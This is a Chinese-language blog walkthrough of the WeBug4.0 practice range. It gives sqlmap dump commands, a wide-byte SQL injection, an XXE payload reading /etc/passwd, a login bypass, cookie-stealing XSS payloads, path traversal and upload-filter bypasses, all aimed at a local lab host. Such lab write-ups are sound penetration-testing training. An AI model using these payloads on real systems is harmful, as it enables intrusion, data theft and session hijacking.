WeBug4.0是基于基于PHP/mysql制作搭建而成的一个web靶场环境。里面包含了常见的XSS SQL 文件上传等常见的漏洞。是新手练习web肾透测试的不二之选。
首先到github上面下载源码,下载完成后放到站点根目录/var/www/html
新建三个数据库
create database webbug
create database webbug_sys
create database webug_width_byte
然后将data
目录下面的数据库文件,分别导入对应的数据库即可。
浏览器访问主机IP,用户名和密码均为admin
成功登录后台。
我们在?id=1
后面添加'
号,即可报错。我们可以构造手动注入语句,也可以利用sqlmap注入。
为了不那么麻烦,这里我直接用神器sqlmap
来一梭子!
sqlmap -u "http://192.168.123.129/control/sqlinject/manifest_error.php?id=1" --dbs #查询数据库
一路直接Y
即可!如下图,直接爆出数据库。
爆出表
sqlmap -u "http://192.168.123.129/control/sqlinject/manifest_error.php?id=1" -D webug --tables
爆出表结构和数据
sqlmap -u "http://192.168.123.129/control/sqlinject/manifest_error.php?id=1" -D webug -T flag --columns
sqlmap -u "http://192.168.123.129/control/sqlinject/manifest_error.php?id=1" -D webug -T flag -C "id,flag" --dump
怎么判断页面是否存在布尔注入型注入呢?
我们先正常访问,效果如下:
当后面输入 and 1=2
进行逻辑判断时,效果如下:
这时,我们发现虽然没有报错,但是页面显示的不全。这便是所谓的布尔注入注入。
利用方法和第一步一样。
没有多大卵,和前面一样,在sqlmap中执行同样的命令即可。
进入页面后,有一个搜索框。随便输入内容点击搜索。然后在burp中抓包!
将抓到包保存为txt
文件,在sqlmap中执行命令
sqlmap -r "11.txt" --dbs
后面的也就一样了。
和上一关一样,没有多大的技术含量。
宽字节是指多个字节宽度的编码,如UNICODE、GBK、BIG5等。转义函数在对这些编码进行转义时会将转义字符 ‘\’ 转为 %5c ,于是我们在他前面输入一个单字符编码与它组成一个新的多字符编码,使得原本的转义字符没有发生作用。
如果编码是GBK,我们在前面加上 %df' ,转义函数会将%df’改成%df\’ , 而\ 就是%5c ,即最后变成了%df%5c',而%df%5c在GBK中这两个字节对应着一个汉字 “運” ,就是说 \ 已经失去了作用,%df ' ,被认为運' ,成功消除了转义函数的影响。
注入
我们首先利用BURP
对当前页抓包。
报错数据库
%df' union select 1,database() %23
不用burp也行,直接在浏览器地址栏中输入也行。
爆出表
%df' union select 1,group_concat(table_name) from information_schema.columns where table_schema=database() %23
获取Linux系统密码
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">]>
<x>&f;</x>
在搜索框中,提交xml代码即可。
我的环境有问题,搞不出来,不搞了。
用户名和密码都输入' or 1=1#
成功得到flag
直接构造<script>alert(大表哥牛逼)</script>
flag:<script>alert(document.cookie);</script>
利用反射的的payload:id=<script>alert(document.cookie);</script>
DOM型XSS不经过后端,只是在前端进行。
payload :" > <script>alert(1)</script>#
flag:" > <script>alert(documen.cookie)</script>#
用不了script标签,那么我们就换一种方法即可,换一种标签
利用img标签和onerror配合来进行绕过
payload:<img src=1 onerror=alert(document.cookie)>
利用XSS进行网页跳转
example:<a href=https://www.bbskali.cn>来啊~快活啊</a>
当用户点击之后,就跳转到了指定页面。
还有不用点击的呢:
点击下载按钮,进行抓包。
可以到达下载的文件位置为template/assets/img/1.txt
这时,我们可以尝试下载系统中的任意文件,如sql/webug.sql
文件,修改包中的数据为
sql/webug.sql
,然后放包!
同样的道理构造下载mysql的配置文件
payload:file=../Extensions/MySQL5.7.26/my.ini
我们先直接尝试上传php文件,提示如下
右键审查元素,我们可以看到只限上传格式为image
<script type="application/javascript">
function type_filter(files) {
if (files[0].type.split("/")[0] == "image") {
return true;
} else {
document.getElementById("file").value = "";
alert("不允许上传该格式类型");
return false;
}
}
</script>
对input分析
<input type="file" name="file" id="file" onchange="type_filter(this.files)">
我我们只需要删除onchange="type_filter(this.files)"
即可!
这个和apache以及nginx的配置有关,原理是将PHP文件保存为jpg格式,通过nginx的解析漏洞,将jpg文件解析为php文件。
环境所限,搞不了。
通过阅读源码,发现对php文件做了过滤
if (strstr($file_ext, "php")) {
$file_ext = str_replace("php", "", $file_ext);
}
我们可以利用.pphphp
双写形式绕过。
在repeater里面将文件名改为 shell2.php龘.jpg,send(环境因素 未成功。)
版权属于:逍遥子大表哥
本文链接:https://cloud.tencent.com/developer/article/2005900
按照知识共享署名-非商业性使用 4.0 国际协议进行许可,转载引用文章应遵循相同协议。